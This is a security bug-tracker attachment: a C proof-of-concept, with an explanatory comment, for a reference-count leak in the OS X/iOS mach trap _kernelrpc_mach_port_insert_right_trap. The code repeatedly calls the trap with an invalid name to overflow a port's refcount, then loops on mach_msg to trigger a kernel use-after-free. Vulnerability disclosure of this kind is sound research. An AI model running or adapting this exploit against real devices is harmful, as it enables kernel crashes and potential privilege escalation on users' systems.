New issue
Advanced search Search tips

Issue 941 attachment: trap_leak.c (5.1 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
// ianbeer
// build: clang -o trap_leak trap_leak.c -O3

/*
Lack of error checking leads to reference count leak and OS X/iOS kernel UaF in _kernelrpc_mach_port_insert_right_trap

The previous ref count overflow bugs were all kinda slow because they were quite deep in kernel code,
a lot of mach message and MIG code had to run for each leak.

There are a handful of mach operations which have their own fast-path syscalls (mach traps.)
One of these is _kernelrpc_mach_port_insert_right_trap which lets us create a new mach
port name in our process from a port we already have. Here's the code:

int
_kernelrpc_mach_port_insert_right_trap(struct _kernelrpc_mach_port_insert_right_args *args)
{
task_t task = port_name_to_task(args->target);
ipc_port_t port;
mach_msg_type_name_t disp;
int rv = MACH_SEND_INVALID_DEST;

if (task != current_task())
goto done;

rv = ipc_object_copyin(task->itk_space, args->poly, args->polyPoly,
(ipc_object_t *)&port);
if (rv != KERN_SUCCESS)
goto done;
disp = (args->polyPoly);

rv = mach_port_insert_right(task->itk_space, args->name, port, disp);

done:
if (task)
task_deallocate(task);
return (rv);
}

ipc_object_copyin will look up the args->poly name (with the args->polyPoly rights)
in the current process's mach port namespace and return an ipc_port_t pointer in port.

If ipc_object_copyin is successful it takes a ref on the port and returns that ref to the caller.

mach_port_insert_right will consume that reference but *only* if it succeeds. If it fails then
no reference is consumed and we can leak one because _kernelrpc_mach_port_insert_right_trap
doesn't handle the failure case.

it's easy to force mach_port_insert_right to fail by specifying an invalid name for the new
right (eg MACH_PORT_NULL.)

This allows you to overflow the reference count of the port and cause a kernel UaF in about 20
minutes using a single thread.
*/

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/mach_error.h>

#include <mach/mach_traps.h>

mach_port_t overflower = MACH_PORT_NULL;

void leak_one_ref() {
static uint64_t count = 0;
count++;
//printf("%d\n", count);
mach_port_t task_port = mach_task_self();

if (count == 10) {
task_port = MACH_PORT_NULL;
}

kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
task_port,
MACH_PORT_NULL, // an invalid name
overflower,
MACH_MSG_TYPE_MAKE_SEND);
//printf("err %d %s\n", err, mach_error_string(err));
}

void* leaker_thread(void* arg) {
uint64_t count = (uint64_t)arg;
for (uint64_t i = 0; i < count; i++) {
leak_one_ref();
if ((i % 0x10000) == 0) {
float done = (float)i/(float)count;
fprintf(stdout, "\roverflowing... %3.3f%%", done * 100);
fflush(stdout);
}
}
return NULL;
}


int main(int argc, char** argv) {
uint32_t n_threads = 1;
if (argc > 1) {
n_threads = atoi(argv[1]);
}

if (n_threads < 1 || n_threads > 100) {
printf("bad thread count\n");
exit(EXIT_FAILURE);
}
printf("running with %d threads\n", n_threads);

kern_return_t err;

err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&overflower);


/* the port will have one ref (our receive right, held in this process's mach ports table
* we want to overflow that to 0 such that the next time the kernel copies in the right
* the ref goes 0 -> 1 then 1 -> 0 when the kernel drops its ref
*
* this will leave us with a dangling mach_port_t pointer in our table
*/
uint64_t refs_to_leak = 0xffffffff;
//uint64_t refs_to_leak = 0x1000000;
uint64_t per_thread_iters = refs_to_leak/n_threads;
uint64_t remainder = refs_to_leak % n_threads;


pthread_t threads[n_threads];
for(uint32_t i = 0; i < n_threads; i++) {
uint64_t this_thread_iters = per_thread_iters;
if (i == 0) { //make up the remainder on the first thread
this_thread_iters += remainder;
}
pthread_create(&threads[i], NULL, leaker_thread, (void*)this_thread_iters);
}

for(uint32_t i = 0; i < n_threads; i++) {
pthread_join(threads[i], NULL);
}

// we've overflowed the ref count to 0 now; keep using it, it will get freed and reused:
for(;;) {
kern_return_t err;
mach_msg_header_t msg = {0};
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); // no reply port
msg.msgh_remote_port = overflower;
msg.msgh_local_port = MACH_PORT_NULL;
msg.msgh_id = 414141;
err = mach_msg(&msg,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

struct resp {
mach_msg_header_t hdr;
mach_msg_trailer_t trailer;
};
struct resp r = {0};
err = mach_msg(&(r.hdr),
MACH_RCV_MSG|MACH_MSG_OPTION_NONE,
0,
(mach_msg_size_t)sizeof(r),
overflower,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
return 0;

}